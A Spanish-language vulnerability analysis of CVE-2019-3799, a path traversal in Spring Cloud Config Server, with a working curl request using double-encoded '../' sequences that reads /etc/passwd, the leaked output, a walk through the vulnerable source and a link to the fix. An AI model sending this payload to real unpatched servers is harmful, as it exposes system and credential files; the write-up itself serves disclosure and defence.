
CVE-2019-3799 - Spring Cloud Config Server: Recorrido de directorios < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config Server es vulnerable a un Directory Traversal / Path Traversal / Divulgación de contenido de archivos < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config, versiones 2.1.x anteriores a 2.1.2, versiones 2.0.x anteriores a 2.0.4, versiones 1.4.x anteriores a 1.4.6, y versiones antiguas sin soporte, permiten a las aplicaciones servir archivos de configuración arbitrarios a través del módulo spring-cloud-config-server. Un usuario malicioso, o atacante, puede enviar una solicitud usando una URL especialmente manipulada que puede provocar un ataque de Directory Traversal.

Encontrado por Vern ([email protected])
Aviso de seguridad
Análisis técnico
cd spring-cloud-config-server
../mvnw spring-boot:run
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Como siempre, leyendo la documentación podemos encontrar la información relevante:
Servir archivo de texto plano: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
El Servidor de Configuración proporciona estos a través de un endpoint adicional en /{name}/{profile}/{label}/{path} donde "name", "profile" y "label" tienen el mismo significado que en el endpoint de entorno regular, pero "path" es un nombre de archivo (p. ej. log.xml).
El Servidor proporciona estos a través de un endpoint adicional en /{name}/{profile}/{label}/{path}
Otra información interesante del documento:
Con los backends basados en VCS (git, svn), los archivos se verifican (checkout) o clonan en el sistema de archivos local. Por defecto, se colocan en el directorio temporal del sistema con un prefijo de config-repo-. En Linux, por ejemplo, podría ser /tmp/config-repo-
¿Qué sucede cuando enviamos http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd?
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
retrieve llama a la función findOnesynchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
findOne:public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
retrieve lee el archivo con StreamUtils.copyToString(is, Charset.forName("UTF-8") que convierte /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd a /etc/passwd, lo que resulta en la divulgación del archivo /etc/passwd
Solución: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)